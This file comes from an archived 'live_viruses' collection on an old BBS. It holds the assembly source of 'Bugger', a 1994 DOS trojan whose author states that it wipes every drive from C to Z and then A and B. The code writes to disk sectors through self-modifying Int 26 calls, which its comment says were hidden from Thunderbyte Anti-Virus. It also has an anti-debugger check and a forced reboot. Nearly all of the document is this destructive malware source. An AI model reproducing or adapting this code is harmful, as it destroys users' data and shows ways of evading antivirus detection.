home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / bugger.asm < prev    next >
Assembly Source File  |  1994-05-09  |  834b  |  37 lines

  1. ; Bugger.  1994.  Code by MASTERMiND
  2. ;
  3. ;   It's a very simple code.  All it does is screw your drives C to Z then
  4. ; at the very end the A and B drives.  I relocated the Int 26 because the
  5. ; annoying Thunderbyte Anit-Virus kept nagging about not writing to disk by
  6. ; DOS.  Well, here ya go...  took me 10 minutes to write the code, and 1
  7. ; hour writing this stupid text....
  8.  
  9.  
  10. Int 3h
  11. Jz If_Not_In_Debug
  12. Reboot:
  13. Db 'Ω',00h,00h,'  ' ; the 'Ω' represents EAh, the the '  ' represents FFh,FFh
  14. If_Not_In_Debug:
  15. Mov Si,2h
  16. Mov Cx,0ffh
  17. Mov Dx,0h
  18. Mov Word Ptr [Pointer_1],26CDh
  19. Lop:
  20. Mov Ax,Si
  21. Pointer_1:
  22. Jmp Pointer_1
  23. Inc Si
  24. Cmp Si,26
  25. Je Last_Two
  26. Jmp Lop
  27. Last_Two:
  28. Mov Ax,0h
  29. Mov Word Ptr [Pointer_2],26CDh
  30. Pointer_2:
  31. Jmp Pointer_2
  32. Mov Ax,1h
  33. Mov Word Ptr [Pointer_3],26CDh
  34. Pointer_3:
  35. Jmp Pointer_3 
  36. Jmp Reboot
  37.